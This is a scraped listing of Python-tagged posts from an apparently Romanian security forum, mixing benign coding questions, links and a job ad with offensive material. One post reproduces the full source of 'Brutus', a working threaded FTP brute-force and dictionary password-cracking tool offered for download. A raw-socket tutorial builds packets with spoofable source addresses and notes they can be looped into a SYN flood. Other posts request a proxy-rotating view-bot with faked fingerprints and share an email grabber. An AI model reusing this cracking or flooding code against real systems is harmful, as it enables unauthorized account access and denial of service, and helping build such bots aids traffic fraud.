Other references: https://github.com/mitsuhiko/snaek https://github.com/PyO3/pyo3 https://pypi.python.org/pypi/setuptools-rust https://github.com/mckaymatt/cookiecutter-pypackage-rust-cross-platform-publish http://jakegoulding.com/rust-ffi-omnibus/ https://github.com/urschrei/polylabel-rs/blob/master/src/ffi.rs https://bheisler.github.io/post/calling-rust-in-python/ https://github.com/saethlin/rust-lather Join Community Join Rust community, you can find group links in https://www.rust-lang.org/en-US/community.html. If you speak Portuguese, I recommend you to join https://t.me/rustlangbr and there is the http://bit.ly/canalrustbr on Youtube. Author Bruno Rocha Senior Quality Engineer at Red Hat Teaching Python and Flask at CursoDePython.com.br Fellow Member of Python Software Foundation Member of RustBR study group M0ore info: http://about.me/rochacbruno and http://brunorocha.org Source
- 1 reply
-
- 4
-
-
-
- elias gabriel amaral da silva
- rust
-
(and 4 more)
Tagged with:
-
Salut. Trăgând cu ochiul peste niște proiecte pe github, am văzut fișiere .sh, mă uitam să văd ce anume fac, majoritatea erau pentru automatizare, care făceau request-uri sau alte lucruri de genul, comenzi bash, desigur. Mă gândeam dacă am nevoie de bash scripts, devreme ce știu puțin python, de ce nu aș putea obține aceleași rezultate cu acesta (py), în loc de bash? M-am uitat să văd ce zice google, primele rezultate de la stackoverflow, majoritatea sugerau că depinde de preferințe și alții explicau diferența dintre modul în care sunt executate, poate câteva detalii despre performanță și lucruri low-level care m-au făcut confuz. Voi ce părere aveți? Când folosiți bash în loc de python/ruby și vice versa? Desigur, python/ruby sunt pentru domenii mai largi, eu vreau să îndrept subiectul spre domeniul în care este folosit bash-ul mai mult, I guess sysops stuff. P.S.: Nu sunt atât de informat cu privire la lucruri de genul, mă scuzați dacă întrebările sunt cam nepotrivite.
-
Acesta este siteul :: https://github.com/citronneur/rdpy si programelul: https://github.com/citronneur/rdpy/blob/master/bin/rdpy-rdpscreenshot.py Creez o fila bat in care sa rulez mai multe linii una dupa alta,acest programel ia prima linie''face treaba'' apoi inchide conectiune python.exe si tot asa.Problema este ca unele lini da o anumita eroare: SecurityNegoFail: negotiation failure code 5 si stagneaza la nesfarsit nu mai trece niciodata la urmatoarea linie (si nu mai inchide Python.exe) iar memoria creste de la 21 k la 909 k,stie cineva modifica scriptul asa incat sa se inchida atunci cand primesc eroarea? multumesc
-
Brutus is a small threaded python FTP brute-force and dictionary attack tool. It supports several brute-force parameters such as a custom character sets, password length, minimum password length, prefix, and postfix strings to passwords generated. Download brutus-0.3.py Usage: usage: brutus.py [-h] [-w WORDLIST] [-c CHARSET] [-l [LENGTH]] [-m [MINLENGTH]] [-r PREFIX] [-o POSTFIX] [-p [PAUSE]] [-t [THREADS]] [-v [VERBOSE]] host username positional arguments: host FTP host username username to crack optional arguments: -h, --help show this help message and exit -w WORDLIST, --wordlist WORDLIST wordlist of passwords -c CHARSET, --charset CHARSET character set for brute-force -l [LENGTH], --length [LENGTH] password length for brute-force -m [MINLENGTH], --minlength [MINLENGTH] Minimum password length -r PREFIX, --prefix PREFIX prefix each password for brute-force -o POSTFIX, --postfix POSTFIX postfix each password for brute-force -p [PAUSE], --pause [PAUSE] pause time between launching threads -t [THREADS], --threads [THREADS] num of threads -v [VERBOSE], --verbose [VERBOSE] verbose output Mirror: ################################################################################ # tool: Brutus - FTP Brute-Force/Dictionary Attack Tool # version: 0.3 # email: mrh@bushisecurity.com # www: bushisecurity.com/brutus/ ################################################################################ # MIT License # Copyright (c) 2017 Phillip Aaron # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal# # in the Software without restriction, including without limitation the rights# # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell# # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. import argparse, sys, threading, time from datetime import datetime from itertools import chain, product from ftplib import FTP # Create some global variables class glob: pwd = False # Used for stopping attack when password found chrset = "" # Character set for brute-force prefix = "" # Prefix string postfix = "" # Postfix string length = 8 # Default lenth of password minlength = 5 # Default min length of password thrds = 10 # Defualt num of threads verb = False # Default value for verbose output pause = 0.01 # Default throttle time, 1 = one second cnt = 0 # Counting number of attempts # Iterable Method for brute-forcing a character set and length def bruteforce(charset, maxlength, minlength): return (''.join(candidate) for candidate in chain.from_iterable(product(charset, repeat=i) for i in range(minlength, maxlength + 1))) # Method for making ftp connections def crack(host, user, pwd): try: if glob.verb: # Check for verbose output print "[" + str(glob.cnt) + "] Trying: " + pwd.strip() ftp = FTP(host) # Create FTP object if ftp.login (user, pwd): # Check if true print "\nPassword for " + user + ": " + pwd.strip() print "==================================================" glob.pwd = True # Set global value print ftp.dir() # Display contents of root FTP ftp.quit() # Disconnect from FTP except Exception as err: pass # Ignore errors # Method wait for threads to complete def wait(threads): for thread in threads: thread.join() # Method for staging attack def main(args): try: start = datetime.now() # Time attack started print "\nAttacking FTP user [" + args.username + "] at [" + args.host + "]" print "==================================================" thrdCnt = 0;threads = [] # Local variables # Set global variables if args.pause:glob.pause = float(args.pause) if args.verbose:glob.verb = True if args.threads:glob.thrds = int(args.threads) if args.length:glob.length = int(args.length) if args.minlength:glob.minlength = int(args.minlength) if args.charset:glob.chrset = args.charset if args.prefix:glob.prefix = args.prefix if args.postfix:glob.postfix = args.postfix if args.charset == None: # Create charset from printable ascii range for char in range(37,127):glob.chrset += chr(char) # Brute force attack if args.wordlist == None: for pwd in bruteforce(glob.chrset, int(glob.length),int(glob.minlength)): # Launch brute-force if glob.pwd: break # Stop if password found if thrdCnt != args.threads: # Create threads until args.threads if args.prefix: pwd = str(args.prefix) + pwd if args.postfix: pwd += str(args.postfix) thread = threading.Thread(target=crack, args=(args.host,args.username,pwd,)) thread.start() threads.append(thread) thrdCnt += 1;glob.cnt+=1 time.sleep(glob.pause) # Set pause time else: # Wait for threads to complete wait(threads) thrdCnt = 0 threads = [] # Dictionary attack else: with open(args.wordlist) as fle: # Open wordlist for pwd in fle: # Loop through passwords if glob.pwd: break # Stop if password found if thrdCnt != args.threads: # Create threads until args.threads thread = threading.Thread(target=crack, args=(args.host,args.username,pwd,)) thread.start() threads.append(thread) thrdCnt +=1;glob.cnt+=1 time.sleep(glob.pause) # Set pause time else: wait(threads) # Wait for threads to complete thrdCnt = 0 threads = [] except KeyboardInterrupt: print "\nUser Cancelled Attack, stopping remaining threads....." wait(threads) # Wait for threads to complete sys.exit(0) # Kill app wait(threads) # Wait for threads to complete stop = datetime.now() print "==================================================" print "Attack Duration: " + str(stop - start) print "Attempts: " + str(glob.cnt) + "\n" if __name__ == "__main__": # Declare an argparse variable to handle application command line arguments parser = argparse.ArgumentParser() parser.add_argument("host", action="store", help="FTP host") parser.add_argument("username", action="store", help="username to crack") parser.add_argument("-w", "--wordlist", action="store", help="wordlist of passwords") parser.add_argument("-c", "--charset", action="store", help="character set for brute-force") parser.add_argument("-l", "--length", action="store", help="password length for brute-force", nargs='?', default=8, const=8, type=int) parser.add_argument("-m","--minlength", action="store", nargs='?', default=1, const=1, help="Minimum password length", type=int) parser.add_argument("-r","--prefix", action="store", help="prefix each password for brute-force") parser.add_argument("-o","--postfix", action="store", help="postfix each password for brute-force") parser.add_argument("-p", "--pause", action="store", help="pause time between launching threads", nargs='?', default=0.01, const=0.01) parser.add_argument("-t", "--threads", action="store", help="num of threads", nargs='?', default=10, const=10, type=int) parser.add_argument("-v", "--verbose", action="store", help="verbose output", nargs='?', default=False, const=True) # Show help if required arg not included if len(sys.argv[1:])==0: parser.print_help() parser.exit() args = parser.parse_args() if args.minlength != None or args.length != None: if args.minlength > args.length: print "\n** Argument Logic Error **" print "Minimum password length [-m "+str(args.minlength)+"] is greater than Password length [-l "+str(args.length)+"]\n" parser.print_help() parser.exit() main(args) Source
- 5 replies
-
- 2
-
-
- python
- bruteforce
-
(and 1 more)
Tagged with:
-
Doresc un bot de watchers care sa-mi viziteze un link. Must have : -lista proxy (eu vin cu lista) sau si mai bine sa se foloseasca de proxiuri din reteaua TOR, nu stiu cate proxiuri au disponibile... -posibilitatea sa aleg nr. total de threads si nr de threads per proxy -fiecare thread sa aibe fingerprint diferit (os/browser etc)...poti sa integrezi prin api de aici direct https://developers.whatismybrowser.com/ sau vii tu cu o alta varianta -time watch...adica cat sa stea activ pe pagina si in acest timp sa existe la un interval de 40-60sec scroll pe pagina, pt a nu avea sesiune de logout de pe pagina -timeout adjustabil pt proxy si daca nu e bun, aruncat la cosul de gunoi si ce e bun sa se salveze intr-o lista -legat de UI nu stiu sigur, depinde de pret, daca nu, o sa-l rulez din comenzi cu un pic de ajutor la inceput in caz ca ma incurc. Legat de limbajul de programare, sa fie cat mai fiabil, sa ruleze in background, pt ca vreau sa-l deschid in 1000-1500 threads pe un vps de 16gb RAM, cu 8 cores, il pot mari la nevoie 32gb ram etc Din sapaturile efectuiate pe internet am observat ca python, nodeJS, phantomJS s-ar preta, poate gresesc cine stie. Legat de pret vb pe PM sau skype: shuttershades89 Astep propuneri. MS anticipat.
-
https://blockchain.info/en/q/newkey https://github.com/BitcoinPHP/BitcoinECDSA.php ### https://blockexplorer.com/api-ref https://pypi.python.org/pypi/pycoin https://github.com/richardkiss/pycoin https://github.com/vbuterin/pybitcointools import bitcoin as btclib import requests from pycoin.services.blockchain.info import BlockchainInfoProvider from pycoin.tx import script, Tx ### https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list https://github.com/jgarzik/python-bitcoinrpc from bitcoinrpc.authproxy import AuthServiceProxy, JSONRPCException def btc_rpc_connect(config): rpc_server_url = ("http://{user}:{password}@{host}:{port}").format( user=config.rpc_user, password=config.rpc_pass, host=config.rpc_host, port=config.rpc_port ) rpc_conn = AuthServiceProxy(rpc_server_url) return rpc_conn config = { 'rpc_user': 'username', 'rpc_pass': 'password', 'rpc_host': 'host', 'rpc_port': 'port', } try: rpc_conn = btc_rpc_connect(config) btc_address = rpc_conn.getnewaddress('accountname') amount = rpc_conn.getreceivedbyaddress('some_btc_address', 2) except JSONRPCException, e: if settings.DEBUG: print e ### Coinbase API - VA RECOMAND SA EVITATI! <?php require __DIR__ . '/vendor/autoload.php'; use Coinbase\Wallet\Client; use Coinbase\Wallet\Configuration; use Coinbase\Wallet\HttpClient; use Coinbase\Wallet\Mapper; use Coinbase\Wallet\Resource\Account; use Coinbase\Wallet\Resource\Address; $apiKey = 'XXXXXXXX'; $apiSecret = 'XXXXXXXXXX'; $configuration = Configuration::apiKey($apiKey, $apiSecret); $client = Client::create($configuration); $account = $client->getPrimaryAccount(); $address = new Address(); $client->createAccountAddress($account, $address); echo $address->getAddress(); ?> ### Plaintext query api to retreive data from blockchain.info: https://blockchain.info/q Poate va trebuie si wrapper-ul asta: https://github.com/gsalvati/jsonRpcClient-PHP/blob/master/jsonRPCClient.php
-
Bun, de cateva zile ma chinui sa construiesc o schema JSON decenta, pentru ca mai tarziu sa o pot manipula cat mai usor posibil. Scenario: User-ul va face un POST request cu un JSON care va arata de cele ai multe ori, asa: { "endpoint": "ep", "expression": { "field": "first_name", "operator": "EQUALS", "value": "Jack" }, "query_limit": "2" } Acum, in principiu, `endpoint` si `query_limit` vor fi mereu stringuri. Partea unde am eu probleme este `expression`. Exemplul de expresie de mai jos este minimal dar de ajuns pentru a explica ceea ce vreau sa fac. Acea expresie va face parte din clauza WHERE dintr-un query MSSQL. Spre exemplu, cea de mai sus va deveni: SELECT * FROM table WHERE first_name='Jack'; E de la sine inteles ca va exista o mapare intre operatorii din JSON si cei din MSSQL. In python, maparea aia se va face prin doua dictionare simple: LOGICAL_OPERATORS = { 'AND': 'AND', 'OR': 'OR' } COMPARISON_OPERATORS = { 'LT': '<', 'GT': '>', 'LTE': '<=', 'GTE': '>=', 'EQ': '=', 'NEQ': '!=' } The problem: Acum, partea la care intampin probleme este aceea de a dezvolta mai departe acel expression din JSON, astfel incat va putea suporta query-uri mult mai complexe. Vreau sa incerc sa acopar cat mai multe scenarii, asa ca am nevoie de o schema cat mai bine pusa la punct. Un exemplu: 1. Userul doreste ca `first_name` sa fie 'Jack' SI `last_name` sa fie 'Lola'. In cazul acela, JSON-ul ar putea sa arate asa: { "endpoint": "rfc", "expression": { "AND": [ { "field": "first_name", "operator": "EQUALS", "value": "Jack" }, { "field": "last_name", "operator": "EQUALS", "value": "Lola" } ] }, "limit": "2" } Exemplul de mai sus, va fi transformat intr-un SQL care va fi de forma: SELECT * FROM table WHERE first_name='Jack' AND last_name='Lola'; User-ul doreste ca `age` sa fie mai mic decat 17 SAU `age` mai mare decat 10 SI `first_name` sa fie 'Dick'. SQL-ul pentru descrierea de mai sus va fi de forma: SELECT * FROM table WHERE age > 10 OR age < 17 AND first_name='Jack'; Ceva idei pentru cum ar trebui sa arate JSON-ul in acest caz? Ceva care sa fie usor de adaptat pentru cazuri si mai complexe (va trebui sa generalizez toata treaba pentru ca asa cum stim toti care lucram in industria IT, userul e foarte inventiv cand vine vorba de edge cases). Thanks!
-
Decameron is helping an innovative and vibrant healthcare technology company, with headquarter in UK, to complete their team with 2 C++ Developers. They have developed revolutionary software to detect vital signs to medical grade accuracy, human activity through a standard digital camera, completely contact free. The software is currently being deployed to monitor safety and health in police, mental health and hospital settings but we see it being deployed in a wide range of settings including nursing & elderly care, community & home care and in vehicles. The Role We are looking for 2 C++ developers to join the team developing and delivering a unique software to extract health information from video. You will be responsible for developing features and creating tests for the core software and systems and services running, running across networks of Linux devices and servers. If you love crafting quality code to bring products to life, learning cool new stuff, and enjoy working in an energetic, and outgoing team, then we want to hear from you. The C++ Developer MUST HAVE: ● Exceptional C++, including the modern language standards, the STL and other software libraries (e.g. Boost etc.) ● Experience developing in a Linux environment ● Exposure to scripting (e.g. Python, bash, Ruby) It is also HIGHLY DESIRABLE that C++ Engineer has: ● Experience of multi-threaded, high performance code ● Worked with algorithms, numerical methods or image processing To be a great member of the team, you must be brave, inquisitive, determined, supportive, a good listener, team-oriented, self-starting, highly responsible and high energy. Benefits: ● Salary negotiable depending on experience ● Relocation support for UK, Oxford ● 25 days of annual leave with the ability to purchase more ● A flexible working environment ● Opportunities to develop your role in the direction you want as the company grows ● Working in a well-funded company with a spirit and working environment that is envied by all who see it. All those interested are welcome to send their CV at ecaterina.cocora@decameron-wap.com. Let's discuss in more details. Thank you.
-
PyStat - Advanced Netstat For Windows Features: Know remote address of process Know remote ports of process Know which user using process along with title & PID Changelogs: Auto Install python modules support added in install.py Installation Guide Download the .zip file Extract the pystat folder from .zip file to some drive i.e C:\tools\pystat Goto C:\tools\pystat Press SHIFT KEY + RIGHT CLICK and select open Command Window here Enter this command python install.py, Enjoy Warning! Don't move pystat folder after installation, will stop working Download PyStat-master.zip Source: https://github.com/roothaxor/PyStat
-
Raw sockets allow a program or application to provide custom headers for the specific protocol(tcp ip) which are otherwise provided by the kernel/os network stack. In more simple terms its for adding custom headers instead of headers provided by the underlying operating system. Raw socket support is available natively in the socket api in linux. This is different from windows where it is absent (it became available in windows 2000/xp/xp sp1 but was removed later). Although raw sockets dont find much use in common networking applications, they are used widely in applications related to network security. In this article we are going to create raw tcp/ip packets. For this we need to know how to make proper ip header and tcp headers. A packet = Ip header + Tcp header + data. So lets have a look at the structures. Ip header According to RFC 791 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Version| IHL |Type of Service| Total Length | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Identification |Flags| Fragment Offset | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Time to Live | Protocol | Header Checksum | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Destination Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Options | Padding | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Every single number is 1 bit. So for example the Version field is 4 bit. The header must be constructed exactly like shown. TCP header Next comes the TCP header. According to RFC 793 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Port | Destination Port | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Sequence Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Acknowledgment Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Data | |U|A|P|R|S|F| | | Offset| Reserved |R|C|S|S|Y|I| Window | | | |G|K|H|T|N|N| | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Checksum | Urgent Pointer | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Options | Padding | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | data | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Create a raw socket Raw socket can be created in python like this #create a raw socket try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) except socket.error , msg: print 'Socket could not be created. Error Code : ' + str(msg[0]) + ' Message ' + msg[1] sys.exit() To create raw socket, the program must have root privileges on the system. For example on ubuntu run the program with sudo. The above example creates a raw socket of type IPPROTO_RAW which is a raw IP packet. Means that we provide everything including the ip header. Once the socket is created, next thing is to create and construct the packet that is to be send out. C like structures are not available in python, therefore the functions called pack and unpack have to be used to create the packet in the structure specified above. So first, lets make the ip header 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 source_ip = '192.168.1.101' dest_ip = '192.168.1.1' # or socket.gethostbyname('www.google.com') # ip header fields ip_ihl = 5 ip_ver = 4 ip_tos = 0 ip_tot_len = 0 # kernel will fill the correct total length ip_id = 54321 #Id of this packet ip_frag_off = 0 ip_ttl = 255 ip_proto = socket.IPPROTO_TCP ip_check = 0 # kernel will fill the correct checksum ip_saddr = socket.inet_aton ( source_ip ) #Spoof the source ip address if you want to ip_daddr = socket.inet_aton ( dest_ip ) ip_ihl_ver = (version << 4) + ihl # the ! in the pack format string means network order ip_header = pack('!BBHHHBBH4s4s' , ip_ihl_ver, ip_tos, ip_tot_len, ip_id, ip_frag_off, ip_ttl, ip_proto, ip_check, ip_saddr, ip_daddr) Now ip_header has the data for the ip header. Now the usage of pack function, it packs some values has bytes, some as 16bit fields and some as 32 bit fields. Next comes the tcp header 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 # tcp header fields tcp_source = 1234 # source port tcp_dest = 80 # destination port tcp_seq = 454 tcp_ack_seq = 0 tcp_doff = 5 #4 bit field, size of tcp header, 5 * 4 = 20 bytes #tcp flags tcp_fin = 0 tcp_syn = 1 tcp_rst = 0 tcp_psh = 0 tcp_ack = 0 tcp_urg = 0 tcp_window = socket.htons (5840) # maximum allowed window size tcp_check = 0 tcp_urg_ptr = 0 tcp_offset_res = (tcp_doff << 4) + 0 tcp_flags = tcp_fin + (tcp_syn << 1) + (tcp_rst << 2) + (tcp_psh <<3) + (tcp_ack << 4) + (tcp_urg << 5) # the ! in the pack format string means network order tcp_header = pack('!HHLLBBHHH' , tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags, tcp_window, tcp_check, tcp_urg_ptr) The construction of the tcp header is similar to the ip header. The tcp header has a field called checksum which needs to be filled in correctly. A pseudo header is constructed to compute the checksum. The checksum is calculated over the tcp header along with the data. Checksum is necessary to detect errors in the transmission on the receiver side. Code Here is the full code to send a raw packet 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 ''' Raw sockets on Linux Silver Moon (m00n.silv3r@gmail.com) ''' # some imports import socket, sys from struct import * # checksum functions needed for calculation checksum def checksum(msg): s = 0 # loop taking 2 characters at a time for i in range(0, len(msg), 2): w = ord(msg) + (ord(msg[i+1]) << 8 ) s = s + w s = (s>>16) + (s & 0xffff); s = s + (s >> 16); #complement and mask to 4 byte short s = ~s & 0xffff return s #create a raw socket try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) except socket.error , msg: print 'Socket could not be created. Error Code : ' + str(msg[0]) + ' Message ' + msg[1] sys.exit() # tell kernel not to put in headers, since we are providing it, when using IPPROTO_RAW this is not necessary # s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) # now start constructing the packet packet = ''; source_ip = '192.168.1.101' dest_ip = '192.168.1.1' # or socket.gethostbyname('www.google.com') # ip header fields ip_ihl = 5 ip_ver = 4 ip_tos = 0 ip_tot_len = 0 # kernel will fill the correct total length ip_id = 54321 #Id of this packet ip_frag_off = 0 ip_ttl = 255 ip_proto = socket.IPPROTO_TCP ip_check = 0 # kernel will fill the correct checksum ip_saddr = socket.inet_aton ( source_ip ) #Spoof the source ip address if you want to ip_daddr = socket.inet_aton ( dest_ip ) ip_ihl_ver = (ip_ver << 4) + ip_ihl # the ! in the pack format string means network order ip_header = pack('!BBHHHBBH4s4s' , ip_ihl_ver, ip_tos, ip_tot_len, ip_id, ip_frag_off, ip_ttl, ip_proto, ip_check, ip_saddr, ip_daddr) # tcp header fields tcp_source = 1234 # source port tcp_dest = 80 # destination port tcp_seq = 454 tcp_ack_seq = 0 tcp_doff = 5 #4 bit field, size of tcp header, 5 * 4 = 20 bytes #tcp flags tcp_fin = 0 tcp_syn = 1 tcp_rst = 0 tcp_psh = 0 tcp_ack = 0 tcp_urg = 0 tcp_window = socket.htons (5840) # maximum allowed window size tcp_check = 0 tcp_urg_ptr = 0 tcp_offset_res = (tcp_doff << 4) + 0 tcp_flags = tcp_fin + (tcp_syn << 1) + (tcp_rst << 2) + (tcp_psh <<3) + (tcp_ack << 4) + (tcp_urg << 5) # the ! in the pack format string means network order tcp_header = pack('!HHLLBBHHH' , tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags, tcp_window, tcp_check, tcp_urg_ptr) user_data = 'Hello, how are you' # pseudo header fields source_address = socket.inet_aton( source_ip ) dest_address = socket.inet_aton(dest_ip) placeholder = 0 protocol = socket.IPPROTO_TCP tcp_length = len(tcp_header) + len(user_data) psh = pack('!4s4sBBH' , source_address , dest_address , placeholder , protocol , tcp_length); psh = psh + tcp_header + user_data; tcp_check = checksum(psh) #print tcp_checksum # make the tcp header again and fill the correct checksum - remember checksum is NOT in network byte order tcp_header = pack('!HHLLBBH' , tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags, tcp_window) + pack('H' , tcp_check) + pack('!H' , tcp_urg_ptr) # final full packet - syn packets dont have any data packet = ip_header + tcp_header + user_data #Send the packet finally - the port specified has no effect s.sendto(packet, (dest_ip , 0 )) # put this in a loop if you want to flood the target Run the above program from the terminal and check the network traffic using a packet sniffer like wireshark. It should show the packet. Raw sockets find application in the field of network security. The above example can be used to code a tcp syn flood program. Syn flood programs are used in Dos attacks. Raw sockets are also used to code packet sniffers, port scanners etc. sursa: http://www.binarytides.com/raw-socket-programming-in-python-linux/
-
Buna, am programat un comment și email grabber in Python, sper sa va placa Aici e link-ul: https://ghostbin.com/paste/k436w Daca ma puteti ajuta cu un invite la un site invite only unde gasesc torenturi va rog sa imi lasati mesaj multumesc
-
Salut, Cumpar serviciile unui programator (python) pentru cateva proiecte "educationale". Plata se face prin BTC pe ora sau proiect. Detalii in privat sau pe jabber: tinderboy@jabber.ru. PS: in cazul in care am postat unde nu trebuia, rog adminul sa mute topicul in categoria potrivita.
-
Nullege is a search engine for Python source code. It helps you find working samples for Python libraries from production-quality open source projects. Unlike generic search engines, Nullege really understands Python and knows class InspectionFrame(wx.Frame): def SaveSettings(self, config): w, h = self.GetSize() is a sample for wx.Frame.GetSize(). It also tries to bring you more information in the first search result page, so you can find the right example with fewer clicks. Nullege is growing every day. If you can't find a sample for a library, or have ideas or feature requests, or just want to let us know that Nullege is useful (or not), please send us a mail, or click the 'feedback' button on the right. http://nullege.com https://ibb.co/kuuKna